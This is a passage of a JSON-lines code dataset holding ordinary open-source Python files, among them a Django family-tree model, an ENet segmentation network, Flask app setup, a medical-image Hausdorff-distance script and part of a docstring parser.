namespace: Dict) -> None:\n self._latest.content = namespace\n\n def _load_latest_input_config(self) -> dict[str, Any]:\n if self._latest:\n return self._latest.content\n else:\n print(f\"No prior configuration found for '{self.name}'\")\n\n def _determine_shortform_alias(self, name: str) -> str:\n for char in name:\n if char.isalnum():\n letter = char.lower()\n if letter in self._remaining_letters:\n self._remaining_letters.remove(letter)\n return letter\n\n def _validate_arg_name(self, name: str) -> None:\n if name in self.arguments:\n raise NameError(f\"Argument '{name}' already attached to this IOHandler.\")\n\n\nclass Argument:\n \"\"\"Class representing an argument (and its associated metadata) for the IOHandler and ArgsGui to use.\"\"\"\n\n def __init__(self, name: str, argtype: Union[type, Callable] = None, default: Any = None, nullable: bool = False, required: bool = None, dependency: Union[Argument, Dependency] = None,\n choices: Union[Type[Enum], list[Any]] = None, conditions: Union[Callable, list[Callable], dict[str, Callable]] = None, magnitude: int = None, info: str = None, aliases: list[str] = None, widget_kwargs: dict = None) -> None:\n self.name, self.default, self.magnitude, self.info, self._value, self.widget_kwargs = name, default, magnitude, info, default, widget_kwargs or {}\n\n self.widget: Optional[WidgetHandler] = None\n self._aliases: Optional[list[str]] = None\n\n self.aliases = aliases\n\n self.dependency = None if dependency is None else (Dependency(dependency, argument=self) if isinstance(dependency, Argument) else dependency.bind(self))\n self.nullable = Nullability(truth=nullable, argument=self)\n self.required = Maybe(required).else_(True if self.default is None and not self.nullable else False)\n\n self.choices = [member.value for member in choices] if Enum.is_enum(choices) else choices\n self.conditions = [Condition(condition, name=name) for name, condition in conditions.items()] if isinstance(conditions, dict) else (\n [Condition(condition) for condition in conditions] if isinstance(conditions, list) else (\n [Condition(conditions)] if conditions is not None else None\n )\n )\n\n self.argtype = Validate.Type(argtype, nullable=self.nullable, choices=self.choices)\n if self.conditions:\n self.argtype.conditions = Maybe(self.conditions).else_([])\n\n def __repr__(self) -> str:\n return f\"{type(self).__name__}({', '.join([f'{attr}={repr(val)}' for attr, val in self.__dict__.items() if not attr.startswith('_')])})\"\n\n def __str__(self) -> str:\n return self.name\n\n @property\n def value(self) -> Any:\n \"\"\"Property controlling access to the value held by this argument. Setting it will cause validation and coercion to the type of this argument.\"\"\"\n return self._value\n\n @value.setter\n def value(self, val: Any) -> None:\n self._value = self.argtype.convert(val)\n\n @property\n def aliases(self) -> list[str]:\n return self._aliases\n\n @aliases.setter\n def aliases(self, val: list[str]) -> None:\n self._aliases = [self.name] if val is None else sorted({self.name, *val}, key=len)\n\n @cached_property\n def commandline_aliases(self) -> list[str]:\n return [f\"--{name}\" if len(name) > 1 else f\"-{name}\" for name in self.aliases]\n\n def add(self, handler: IOHandler = None) -> Argument:\n (IOHandler.stack[-1] if handler is None else handler).add_argument(argument=self)\n return self\n\n\nclass Dependency:\n class Mode(Enum):\n ALL, ANY = \"all\", \"any\"\n\n def __init__(self, *args: Argument, argument: Argument = None, mode: Dependency.Mode = Mode.ANY) -> None:\n self.argument, self.arguments, self.mode = argument, list(args), self.Mode(mode).map_to({self.Mode.ALL: all, self.Mode.ANY: any})\n\n def __repr__(self) -> str:\n return f\"{type(self).__name__}(argument={self.argument}, arguments=[{', '.join(arg.name for arg in self.arguments)}], mode={self.mode.__name__})\"\n\n def __str__(self) -> str:\n return f\"{', '.join(arg.name for arg in self.arguments)} [{self.mode.__name__}]\"\n\n def __bool__(self) -> bool:\n return self.mode([bool(argument.value) for argument in self.arguments])\n\n def bind(self, argument: Argument) -> Dependency:\n self.argument = argument\n return self\n\n def validate(self) -> bool:\n if self:\n if self.argument.value is None:\n raise ValueError(f\"\"\"Must provide a value for argument '{self.argument}' if {self.mode.__name__} of: {\", \".join(f\"'{arg}'\" for arg in self.arguments)} are truthy.\"\"\")\n else:\n if self.argument.value is not None:\n raise ValueError(f\"\"\"May not provide a value for argument '{self.argument}' unless {self.mode.__name__} of: {\", \".join(f\"'{arg}'\" for arg in self.arguments)} are truthy.\"\"\")\n\n return True\n\n\nclass Nullability:\n def __init__(self, truth: bool, argument: Argument) -> None:\n self.truth, self.argument = truth, argument\n\n def __repr__(self) -> str:\n return f\"{type(self).__name__}(truth={self.truth}, bool={bool(self)})\"\n\n def __str__(self) -> str:\n return str(self.truth)\n\n def __bool__(self) -> bool:\n return self.truth if self.argument.dependency is None else True\n\n\nclass CallableDict(Dict, metaclass=DoNotTranslateMeta):\n def __init__(self, dictionary: Dict, callback: Callable = None) -> None:\n super().__init__(dictionary)\n self._callback_ = callback\n\n def __call__(self) -> Any:\n return self if self._callback_ is None else self._callback_(self)\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "from nwb_conversion_tools import NWBConverter\nfrom nwb_conversion_tools.json_schema_utils import dict_deep_update\nfrom .treadmilldatainterface import TreadmillDataInterface\nfrom .intandatainterface import IntanDataInterface\nfrom pathlib import Path\nimport yaml\n\n\nclass JaegerTreadmillConverter(NWBConverter):\n data_interface_classes = dict(\n TreadmillDataInterface=TreadmillDataInterface,\n IntanDataInterface=IntanDataInterface\n )\n\n def get_metadata(self):\n \"\"\"Fetch metadata\"\"\"\n # Initialize metadata from yaml file\n metadata_path = Path(__file__).parent.absolute() / 'metafile.yml'\n with open(metadata_path) as f:\n metadata = yaml.safe_load(f)\n\n metadata = dict_deep_update(metadata, self.data_interface_objects['TreadmillDataInterface'].get_metadata())\n metadata = dict_deep_update(metadata, self.data_interface_objects['IntanDataInterface'].get_metadata())\n\n return metadata\n", "source": "ben-dichter-consulting/jaeger-lab-to-nwb", "license": "BSD-3-Clause"} {"text": "# coding: utf-8\n\"\"\"\nPeople\u30e2\u30c7\u30eb\u306e\u5b9a\u7fa9\n\"\"\"\nfrom django.db import models\n\n\nSEX_LIST = (\n (True, '\u7537'),\n (False, '\u5973')\n)\n\n\nclass People(models.Model):\n name = models.CharField(verbose_name='\u540d\u524d', max_length=50)\n name_yomi = models.CharField(verbose_name='\u8aad\u307f', max_length=200)\n birthday = models.DateField(verbose_name='\u8a95\u751f\u65e5')\n sex = models.BooleanField(verbose_name='\u6027\u5225', choices=SEX_LIST, default=True)\n dieday = models.DateField(verbose_name='\u6ca1\u5e74\u6708\u65e5', blank=True, null=True)\n marriage_flg = models.BooleanField(verbose_name='\u5a5a\u7d04\u8005\u30d5\u30e9\u30b0', default=False)\n father = models.ForeignKey('self', related_name='father_people', verbose_name='\u7236',\n blank=True, null=True)\n mother = models.ForeignKey('self', related_name='mother_people', verbose_name='\u6bcd',\n blank=True, null=True)\n\n def __str__(self):\n return self.name\n\n class Meta:\n verbose_name = '\u4eba'\n verbose_name_plural = '\u4eba\u3005'\n\n def addColumn(self, generation, parent_node):\n return {\n 'id': self.name + str(self.pk),\n 'name': self.name,\n 'birthday': self.birthday,\n 'sex': self.sex,\n 'dieday': self.dieday,\n 'display': True,\n 'generation': generation,\n 'marriage_flg': self.marriage_flg,\n 'parent_node': parent_node\n }\n\n def toJson(self, generation, parent_node, marry_count):\n \"\"\"\n \u5bb6\u7cfb\u56f3\u51fa\u529b\u7528\u306ejson\u30d5\u30a1\u30a4\u30eb\u306b\u5909\u63db\u3057\u307e\u3059\u3002\n \"\"\"\n disp_dieday = None\n if self.dieday is not None:\n disp_dieday = self.dieday.strftime('%Y/%m/%d')\n\n return {\n 'id': self.name + str(self.pk),\n 'name': self.name,\n 'birthday': self.birthday.strftime('%Y/%m/%d'),\n 'sex': self.sex,\n 'dieday': disp_dieday,\n 'display': True,\n 'marriage': False,\n 'generation': generation,\n 'marriage_flg': self.marriage_flg,\n 'parent_node': parent_node,\n 'marry_count': marry_count\n }\n\n\nclass Marriage(models.Model):\n label = models.CharField(verbose_name='\u540d\u524d', max_length=50, blank=True, null=True)\n husband = models.ForeignKey(People, related_name='husband_people', verbose_name='\u592b')\n wife = models.ForeignKey(People, related_name='wife_people', verbose_name='\u59bb')\n\n def __str__(self):\n return self.label\n\n class Meta:\n verbose_name = '\u5a5a\u7d04'\n verbose_name_plural = '\u5a5a\u7d04\u9054'\n\n def toJson(self, generation, parent_node, marry_count):\n return {\n 'id': 'g%sf%sm%s' % (generation, self.husband.pk, self.wife.pk),\n 'name': self.label,\n 'display': False,\n 'marriage': True,\n 'generation': generation,\n 'parent_node': parent_node,\n 'marry_count': marry_count,\n 'node1': self.husband.name + str(self.husband.pk),\n 'node2': self.wife.name + str(self.wife.pk)\n }\n", "source": "yuyan7/FamilyTree", "license": "MIT"} {"text": "from typing import Tuple\n\nimport torch\nfrom torch import Tensor\nfrom torch import nn\nfrom torch.nn import functional as F\n\n__all__ = ['ENet', 'enet']\n\n\ndef enet(in_channels, out_channels):\n return ENet(in_channels, out_channels)\n\n\nclass ENet(nn.Module):\n\n def __init__(self, in_channels, out_channels):\n super().__init__()\n\n self.head = InitialBlock(in_channels, 16)\n\n self.layer1 = nn.ModuleList([\n DownsamplingBlock(16, 64, dropout_p=0.01),\n RegularBlock(64, 64, dropout_p=0.01),\n RegularBlock(64, 64, dropout_p=0.01),\n RegularBlock(64, 64, dropout_p=0.01),\n RegularBlock(64, 64, dropout_p=0.01),\n ])\n\n self.layer2 = nn.ModuleList([\n DownsamplingBlock(64, 128),\n RegularBlock(128, 128, dropout_p=0.1),\n RegularBlock(128, 128, dilation=2, dropout_p=0.1),\n RegularBlock(128, 128, kernel_size=5, dropout_p=0.1),\n RegularBlock(128, 128, dilation=4, dropout_p=0.1),\n RegularBlock(128, 128, dropout_p=0.1),\n RegularBlock(128, 128, dilation=8, dropout_p=0.1),\n RegularBlock(128, 128, kernel_size=5, dropout_p=0.1),\n RegularBlock(128, 128, dilation=16, dropout_p=0.1),\n ])\n\n self.layer3 = nn.ModuleList([\n RegularBlock(128, 128),\n RegularBlock(128, 128, dilation=2, dropout_p=0.1),\n RegularBlock(128, 128, kernel_size=5, dropout_p=0.1),\n RegularBlock(128, 128, dilation=4, dropout_p=0.1),\n RegularBlock(128, 128),\n RegularBlock(128, 128, dilation=8, dropout_p=0.1),\n RegularBlock(128, 128, kernel_size=5, dropout_p=0.1),\n RegularBlock(128, 128, dilation=16, dropout_p=0.1),\n ])\n\n self.layer4 = nn.ModuleList([\n UpsamplingBlock(128, 64),\n RegularBlock(64, 64, dropout_p=0.1),\n RegularBlock(64, 64, dropout_p=0.1),\n ])\n\n self.layer5 = nn.ModuleList([\n UpsamplingBlock(64, 16),\n RegularBlock(16, 16, dropout_p=0.1),\n ])\n\n self.classifier = nn.Conv2d(16, out_channels, 1),\n\n def forward(self, input):\n x = self.head(input)\n indices = []\n layers = [self.layer1, self.layer2, self.layer3,\n self.layer4, self.layer5]\n for layer in layers:\n for block in layer.children():\n if isinstance(block, RegularBlock):\n x = block(x)\n elif isinstance(block, DownsamplingBlock):\n x, i = block(x)\n indices = [i, *indices]\n elif isinstance(block, UpsamplingBlock):\n i, *indices = indices\n x = block(x, i)\n else:\n raise RuntimeError(\"Unknown block type in ENet\")\n\n x = self.classifier(x)\n\n return F.interpolate(x, scale_factor=2,\n mode='bilinear', align_corners=True)\n\n\nclass InitialBlock(nn.Module):\n\n def __init__(self, in_channels, out_channels):\n if out_channels <= in_channels:\n raise ValueError(\n \"output channels must be greater than the input channels\")\n\n super().__init__()\n\n self.conv = ConvBlock(\n in_channels, out_channels - in_channels,\n kernel_size=3, padding=1, stride=2, with_relu=False)\n self.pool = nn.MaxPool2d(kernel_size=2)\n self.activation = nn.PReLU()\n\n def forward(self, input):\n left = self.conv(input)\n right = self.pool(input)\n x = torch.cat([left, right], dim=1)\n return self.activation(x)\n\n\nclass RegularBlock(nn.Module):\n def __init__(self, in_channels, out_channels,\n kernel_size=3, dilation=1, projection_ratio=4, dropout_p=0.1):\n super().__init__()\n\n width = in_channels // projection_ratio\n self.conv1 = ConvBlock(in_channels, width, 1)\n\n if kernel_size == 3:\n self.conv2 = ConvBlock(\n width, width, 3,\n padding=dilation, dilation=dilation)\n elif kernel_size == 5:\n self.conv2 = nn.Sequential(\n ConvBlock(width, width, (1, 5),\n padding=(0, 2), with_relu=False),\n ConvBlock(width, width, (5, 1),\n padding=(2, 0), with_relu=False),\n nn.PReLU(),\n )\n else:\n raise ValueError(\n \"kernel_size must be either 3 or 5. Got {}.\"\n .format(kernel_size))\n\n self.conv3 = ConvBlock(width, out_channels, 1, with_relu=False)\n\n self.dropout = nn.Dropout2d(p=dropout_p)\n self.activation = nn.PReLU()\n\n def forward(self, input):\n x = self.conv1(input)\n x = self.conv2(x)\n x = self.conv3(x)\n x = self.dropout(x)\n\n if input.shape != x.shape:\n input = pad_zeros(input, x.shape)\n\n return self.activation(x + input)\n\n\nclass DownsamplingBlock(nn.Module):\n def __init__(self, in_channels, out_channels,\n projection_ratio=4, dropout_p=0.1):\n super().__init__()\n\n width = in_channels // projection_ratio\n\n self.conv1 = ConvBlock(in_channels, width, 1)\n self.conv2 = ConvBlock(width, width, 3, 1, stride=2)\n self.conv3 = ConvBlock(width, out_channels, 1, with_relu=False)\n self.dropout = nn.Dropout2d(p=dropout_p)\n\n self.downsample = nn.MaxPool2d(kernel_size=2, return_indices=True)\n\n self.activation = nn.PReLU()\n\n def forward(self, input):\n x = self.conv1(input)\n x = self.conv2(x)\n x = self.conv3(x)\n x = self.dropout(x)\n\n input, indices = self.downsample(input)\n\n if input.shape != x.shape:\n input = pad_zeros(input, x.shape)\n\n return self.activation(x + input), indices\n\n\nclass UpsamplingBlock(nn.Module):\n\n def __init__(self, in_channels, out_channels, projection_ratio=4, dropout_p=0.1):\n super().__init__()\n\n width = in_channels // projection_ratio\n\n self.conv1 = ConvBlock(in_channels, width, 1)\n self.conv2 = nn.Sequential(\n nn.ConvTranspose2d(width, width, 3,\n stride=2, padding=1, output_padding=1, bias=False),\n nn.BatchNorm2d(width),\n nn.PReLU(),\n )\n self.conv3 = ConvBlock(width, out_channels, 1)\n self.dropout = nn.Dropout2d(p=dropout_p)\n\n self.upsample = nn.ModuleDict({\n 'unpool': nn.MaxUnpool2d(kernel_size=2, stride=2),\n 'conv': ConvBlock(in_channels, out_channels, 1, with_relu=False),\n })\n\n self.activation = nn.PReLU()\n\n def forward(self, input, indices):\n left = self.conv1(input)\n left = self.conv2(left)\n left = self.conv3(left)\n left = self.dropout(left)\n\n right = self.upsample['conv'](input)\n right = self.upsample['unpool'](\n right, indices=indices, output_size=left.size())\n\n return self.activation(left + right)\n\n\ndef ConvBlock(in_channels, out_channels, kernel_size,\n padding=0, stride=1, dilation=1, with_relu=True):\n layers = [\n nn.Conv2d(in_channels, out_channels, kernel_size,\n padding=padding, stride=stride, dilation=dilation,\n bias=False),\n nn.BatchNorm2d(out_channels),\n ]\n if with_relu:\n layers += [nn.PReLU()]\n return nn.Sequential(*layers)\n\n\n@torch.jit.script\ndef pad_zeros(input: Tensor, shape: Tuple[int, int, int, int]):\n b, _, h, w = input.shape\n\n c = int(shape[1] - input.size(1))\n\n pad = torch.zeros((b, c, h, w)).to(input)\n return torch.cat([input, pad], dim=1)\n", "source": "rubendfcosta/neural", "license": "BSD-3-Clause"} {"text": "if n == 1:\n #print(0)\n return [1]\n \n i, temp = 1, 1\n \n # Allocate memory for the product array\n prod = [1 for i in range(n)]\n \n # Initialize the product array as 1\n \n # In this loop, temp variable contains product of\n # elements on left side excluding arr[i]\n for i in range(n):\n prod[i] = temp\n temp *= arr[i]\n \n # Initialize temp to 1 for product on right side\n temp = 1\n \n # In this loop, temp variable contains product of\n # elements on right side excluding arr[i]\n for i in range(n - 1, -1, -1):\n prod[i] *= temp\n temp *= arr[i]\n \n # Print the constructed prod array\n # for i in range(n):\n # print(prod[i], end=\" \")\n \n return prod\n", "source": "shekhargit1912/-6companies30Days-", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\n\nimport os\nimport sys\nimport datetime\n\n# If extensions (or modules to document with autodoc) are in another directory,\n# add these directories to sys.path here. If the directory is relative to the\n# documentation root, use os.path.abspath to make it absolute, like shown here.\n\nsys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), \"_ext\")))\n\n# Add any Sphinx extension module names here, as strings. They can be extensions\n# coming with Sphinx (named 'sphinx.ext.*') or your custom ones.\nextensions = [\n 'sphinx.ext.doctest',\n 'sphinx.ext.intersphinx',\n 'pytestdocs',\n]\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = ['_templates']\n\n# The suffix of source filenames.\nsource_suffix = '.rst'\n\n# The master toctree document.\nmaster_doc = 'index'\n\n# General information about the project.\nproject = u'pytest-django'\ncopyright = u'%d, Andreas Pelme and contributors' % datetime.date.today().year\n\nexclude_patterns = ['_build']\n\npygments_style = 'sphinx'\n\nhtml_theme = 'sphinx_rtd_theme'\n\n# Output file base name for HTML help builder.\nhtmlhelp_basename = 'pytest-djangodoc'\n\nintersphinx_mapping = {\n 'python': ('https://docs.python.org/3', None),\n 'django': ('https://docs.djangoproject.com/en/dev/',\n 'https://docs.djangoproject.com/en/dev/_objects/'),\n 'pytest': ('https://docs.pytest.org/en/latest/', None),\n}\n\n\ndef setup(app):\n # Allow linking to pytest's confvals.\n app.add_description_unit(\n \"confval\",\n \"pytest-confval\",\n objname=\"configuration value\",\n indextemplate=\"pair: %s; configuration value\",\n )\n", "source": "pombredanne/pytest-django", "license": "BSD-3-Clause"} {"text": "# -*- coding: utf-8 -*-\r\n\r\nimport numpy as np\r\nimport os\r\nimport SimpleITK as sitk\r\n\r\n\r\ndef nii_multiply(path_image, path_label):\r\n image_names = os.listdir(path_image)\r\n label_names = os.listdir(path_label)\r\n for image_name, label_name in zip(image_names, label_names):\r\n # print(image_name)\r\n # print(label_name)\r\n image_name_path = os.path.join(path_image, image_name)\r\n label_name_path = os.path.join(path_label, label_name)\r\n itk_image = sitk.ReadImage(image_name_path)\r\n itk_label = sitk.ReadImage(label_name_path)\r\n\r\n #computer HD for whole tumor\r\n image_arr_whole = sitk.GetArrayFromImage(itk_image)\r\n label_arr_whole = sitk.GetArrayFromImage(itk_label)\r\n\r\n labelPred_whole = sitk.GetImageFromArray(image_arr_whole, isVector=False)\r\n labelTrue_whole = sitk.GetImageFromArray(label_arr_whole, isVector=False)\r\n\r\n hausdorffcomputer = sitk.HausdorffDistanceImageFilter()\r\n hausdorffcomputer.Execute(labelTrue_whole > 0.5, labelPred_whole > 0.5)\r\n hd_whole = hausdorffcomputer.GetHausdorffDistance()\r\n HD_whole = '%.3f ' % (hd_whole)\r\n #print(HD_whole)\r\n\r\n #computer HD for enhance tumor\r\n image_arr_en = sitk.GetArrayFromImage(itk_image)\r\n label_arr_en = sitk.GetArrayFromImage(itk_label)\r\n image_arr_en[image_arr_en == 1] = 0\r\n image_arr_en[image_arr_en == 2] = 0\r\n image_arr_en[image_arr_en == 4] = 4\r\n\r\n labelPred_en = sitk.GetImageFromArray(image_arr_en, isVector=False)\r\n labelTrue_en = sitk.GetImageFromArray(label_arr_en, isVector=False)\r\n\r\n hausdorffcomputer = sitk.HausdorffDistanceImageFilter()\r\n hausdorffcomputer.Execute(labelTrue_en > 0.5, labelPred_en > 0.5)\r\n hd_en = hausdorffcomputer.GetHausdorffDistance()\r\n HD_en = '%.3f ' % (hd_en)\r\n\r\n #computer HD for tumor core\r\n image_arr_core = sitk.GetArrayFromImage(itk_image)\r\n label_arr_core = sitk.GetArrayFromImage(itk_label)\r\n image_arr_core[image_arr_core == 1] = 1\r\n image_arr_core[image_arr_core == 2] = 0\r\n image_arr_core[image_arr_core == 4] = 4\r\n\r\n labelPred_core = sitk.GetImageFromArray(image_arr_core, isVector=False)\r\n labelTrue_core = sitk.GetImageFromArray(label_arr_core, isVector=False)\r\n\r\n hausdorffcomputer = sitk.HausdorffDistanceImageFilter()\r\n hausdorffcomputer.Execute(labelTrue_core > 0.5, labelPred_core > 0.5)\r\n hd_core = hausdorffcomputer.GetHausdorffDistance()\r\n HD_core = '%.3f ' % (hd_core)\r\n #print(HD_core)\r\n\r\n print(\"***************************************\")\r\n print(\"HD whole tumor score : \", HD_whole)\r\n print(\"HD enhance tumor score : \", HD_en)\r\n print(\"HD tumor core socre : \", HD_core)\r\n print(\"*********************************\")\r\n\r\n\r\nif __name__ == '__main__':\r\n nii_image = r'D:\\1philips_learning\\1Steve_TJ\\Brain_MRI-AI\\HD\\Meningeoma_predict'\r\n nii_label = r'D:\\1philips_learning\\1Steve_TJ\\Brain_MRI-AI\\HD\\Meningeoma_GT'\r\n nii_multiply(nii_image, nii_label)\r\n\r\n\r\n\r\n", "source": "PennyCoder5704/PeixiaGraduationProject", "license": "Apache-2.0"} {"text": "from typing import Union, List\n\n\nclass Parameter:\n \"\"\"\n \u041a\u043b\u0430\u0441\u0441 \u0434\u043b\u044f \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b\n \u0410\u0442\u0440\u0438\u0431\u0443\u0442\u044b:\n _name : \u043f\u043e\u043b\u043d\u043e\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438, \u0434\u043b\u044f \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0432 \u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435\n _parameter_type : \u0442\u0438\u043f\u0430 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\n _present_value : \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\n _default_value : \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e\n _allowable_values : \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0435\u0441\u043b\u0438 \u0435\u0441\u0442\u044c\n \"\"\"\n\n def __init__(self, name: str, parameter_type, default_value, allowable_values=None):\n self._name = name\n self._parameter_type = parameter_type\n self._present_value = default_value\n self._default_value = default_value\n self._allowable_values = allowable_values\n\n @property\n def name(self) -> str:\n return self._name\n\n @name.setter\n def name(self, value: str) -> None:\n self._name = value\n\n @property\n def parameter_type(self) -> Union[type, List[type]]:\n return self._parameter_type\n\n @parameter_type.setter\n def parameter_type(self, value: Union[type, List[type]]) -> None:\n self._parameter_type = value\n\n @property\n def default_value(self) -> Union[int, float, bool, str]:\n return self._default_value\n\n @default_value.setter\n def default_value(self, value: Union[int, float, bool, str]) -> None:\n self._default_value = value\n\n @property\n def allowable_values(self) -> Union[int, float, bool, List[Union[int, float, bool]]]:\n return self._allowable_values\n\n @allowable_values.setter\n def allowable_values(self, value: Union[int, float, bool, List[Union[int, float, bool]]]) -> None:\n self._allowable_values = value\n\n @property\n def present_value(self):\n return self._present_value\n\n @present_value.setter\n def present_value(self, value) -> None:\n self._present_value = value\n\n def set_default_value(self):\n self._present_value = self._default_value\n", "source": "redb0/global-optimization", "license": "MIT"} {"text": "import os, csv\nfrom flask import Flask\nfrom flask_cors import CORS\nfrom flask_mail import Mail\n\n\n\n\napp = Flask(__name__)\napp.config.from_object('config')\n\n# app.config['DEBUG'] = 'development'\n# app.config['PORT'] = 8889\n\n# app.config['ENV'] = 'development'\n# app.config['SECRET_KEY'] = 'dataportraits'\n# app.config['SECURITY_PASSWORD_SALT'] = 'dataportraits_salt_peppers'\n\n# app.config['MAIL_SERVER '] = 'smtp.googlemail.com'\n# app.config['MAIL_PORT '] = '465'\n# app.config['MAIL_USE_TLS '] = False\n# app.config['MAIL_USE_SSL '] = True\n\n# email_auth = next(csv.reader(open('./email_auth.txt', 'r')))\n# email_auth[0] = email_auth[0].strip()\n# email_auth[1] = email_auth[1].strip()\n\n# app.config['MAIL_USERNAME'] = email_auth[0]\n# app.config['MAIL_PASSWORD'] = email_auth[1]\n# app.config['MAIL_DEFAULT_SENDER'] = 'namwkim85@gmail.com'\n# decorate\nCORS(app)\nmail = Mail(app)\n\n# import blueprints here otherwise, circular imports will attempt to access mail which is not defined yet\nfrom app.auth.route import auth\nfrom app.form.route import form\nfrom app.database.db import close_db\n# blurprints\napp.register_blueprint(auth)\napp.register_blueprint(form)\n\napp.teardown_appcontext(close_db)", "source": "playfuldata/dataselfie-server", "license": "MIT"} {"text": "import eventlet\n# Eventlet isn't compatible with some python modules (e.g. time) so monkeypatch to resolve\n# bugs that result from such conflicts\neventlet.monkey_patch()\nfrom flask import Flask\nfrom flask_socketio import SocketIO\n# from flask_sqlalchemy import SQLAlchemy\n# from flask_migrate import Migrate\n# from AppConfig import AppConfig\n\napp = Flask(__name__)\n# app.config.from_object(AppConfig)\n# db = SQLAlchemy(app)\n# migrate = Migrate(app, db)\nsocketio = SocketIO(app, cors_allowed_origins=\"*\")\n\n# Import relevant flask handling modules here, to avoid circular imports\nfrom dominos import socketio_handlers#, models\n\n", "source": "wes1350/Dominos", "license": "MIT"} {"text": "from __future__ import absolute_import\n\nimport os\nimport unittest\n\nfrom ..resource_manager import PyfaceResourceFactory\n\nIMAGE_PATH = os.path.join(os.path.dirname(__file__), 'images', 'core.png')\n\n\nclass TestPyfaceResourceFactory(unittest.TestCase):\n\n def setUp(self):\n self.resource_factory = PyfaceResourceFactory()\n\n def test_image_from_file(self):\n image = self.resource_factory.image_from_file(IMAGE_PATH)\n\n def test_image_from_data(self):\n with open(IMAGE_PATH, 'rb') as fp:\n data = fp.read()\n image = self.resource_factory.image_from_data(data)\n", "source": "adamcvj/SatelliteTracker", "license": "Apache-2.0"} {"text": "\"\"\"Google-style docstring parsing.\"\"\"\n\nimport inspect\nimport re\nimport typing as T\nfrom collections import OrderedDict, namedtuple\nfrom enum import IntEnum\n\nfrom .common import (\n PARAM_KEYWORDS,\n RAISES_KEYWORDS,\n RETURNS_KEYWORDS,\n YIELDS_KEYWORDS,\n EXAMPLES_KEYWORDS,\n Docstring,\n DocstringMeta,\n DocstringParam,\n DocstringRaises,\n DocstringReturns,\n DocstringExample,\n DocstringStyle,\n ParseError,\n RenderingStyle,\n)\n\n\nclass SectionType(IntEnum):\n \"\"\"Types of sections.\"\"\"\n\n SINGULAR = 0\n \"\"\"For sections like examples.\"\"\"\n\n MULTIPLE = 1\n \"\"\"For sections like params.\"\"\"\n\n SINGULAR_OR_MULTIPLE = 2\n \"\"\"For sections like returns or yields.\"\"\"\n\n\nclass Section(namedtuple(\"SectionBase\", \"title key type\")):\n \"\"\"A docstring section.\"\"\"\n\n\nGOOGLE_TYPED_ARG_REGEX = re.compile(r\"\\s*(.+?)\\s*\\(\\s*(.*[^\\s]+)\\s*\\)\")\nGOOGLE_ARG_DESC_REGEX = re.compile(r\".*\\. Defaults to (.+)\\.\")\nMULTIPLE_PATTERN = re.compile(r\"(\\s*[^:\\s]+:)|([^:]*\\]:.*)\")\n\nDEFAULT_SECTIONS = [\n Section(\"Arguments\", \"param\", SectionType.MULTIPLE),\n Section(\"Args\", \"param\", SectionType.MULTIPLE),\n Section(\"Parameters\", \"param\", SectionType.MULTIPLE),\n Section(\"Params\", \"param\", SectionType.MULTIPLE),\n Section(\"Raises\", \"raises\", SectionType.MULTIPLE),\n Section(\"Exceptions\", \"raises\", SectionType.MULTIPLE),\n Section(\"Except\", \"raises\", SectionType.MULTIPLE),\n Section(\"Attributes\", \"attribute\", SectionType.MULTIPLE),\n Section(\"Example\", \"examples\", SectionType.SINGULAR),\n Section(\"Examples\", \"examples\", SectionType.SINGULAR),\n Section(\"Returns\", \"returns\", SectionType.SINGULAR_OR_MULTIPLE),\n Section(\"Yields\", \"yields\", SectionType.SINGULAR_OR_MULTIPLE),\n]\n\n\nclass GoogleParser:\n \"\"\"Parser for Google-style docstrings.\"\"\"\n\n def __init__(\n self, sections: T.Optional[T.List[Section]] = None, title_colon=True\n ):\n \"\"\"Setup sections.\n\n :param sections: Recognized sections or None to defaults.\n :param title_colon: require colon after section title.\n \"\"\"\n if not sections:\n sections = DEFAULT_SECTIONS\n self.sections = {s.title: s for s in sections}\n self.title_colon = title_colon\n self._setup()\n\n def _setup(self):\n if self.title_colon:\n colon = \":\"\n else:\n colon = \"\"\n self.titles_re = re.compile(\n \"^(\"\n + \"|\".join(\"(%s)\" % t for t in self.sections)\n + \")\"\n + colon\n + \"[ \\t\\r\\f\\v]*$\",\n flags=re.M,\n )\n\n def _build_meta(self, text: str, title: str) -> DocstringMeta:\n \"\"\"Build docstring element.\n\n :param text: docstring element text\n :param title: title of section containing element\n :return:\n \"\"\"\n\n section = self.sections[title]\n\n if (\n section.type == SectionType.SINGULAR_OR_MULTIPLE\n and not MULTIPLE_PATTERN.match(text)\n ) or section.type == SectionType.SINGULAR:\n return self._build_single_meta(section, text)\n\n if \":\" not in text:\n raise ParseError(\"Expected a colon in {}.\".format(repr(text)))\n\n # Split spec and description\n before, desc = text.split(\":\", 1)\n if desc:\n desc = desc[1:] if desc[0] == \" \" else desc\n if \"\\n\" in desc:\n first_line, rest = desc.split(\"\\n\", 1)\n desc = first_line + \"\\n\" + inspect.cleandoc(rest)\n desc = desc.strip(\"\\n\")\n\n return self._build_multi_meta(section, before, desc)\n\n @staticmethod\n def _build_single_meta(section: Section, desc: str) -> DocstringMeta:\n if section.key in RETURNS_KEYWORDS | YIELDS_KEYWORDS:\n return DocstringReturns(\n args=[section.key],\n description=desc,\n type_name=None,\n is_generator=section.key in YIELDS_KEYWORDS,\n )\n if section.key in RAISES_KEYWORDS:\n return DocstringRaises(\n args=[section.key], description=desc, type_name=None\n )\n if section.key in EXAMPLES_KEYWORDS:\n return 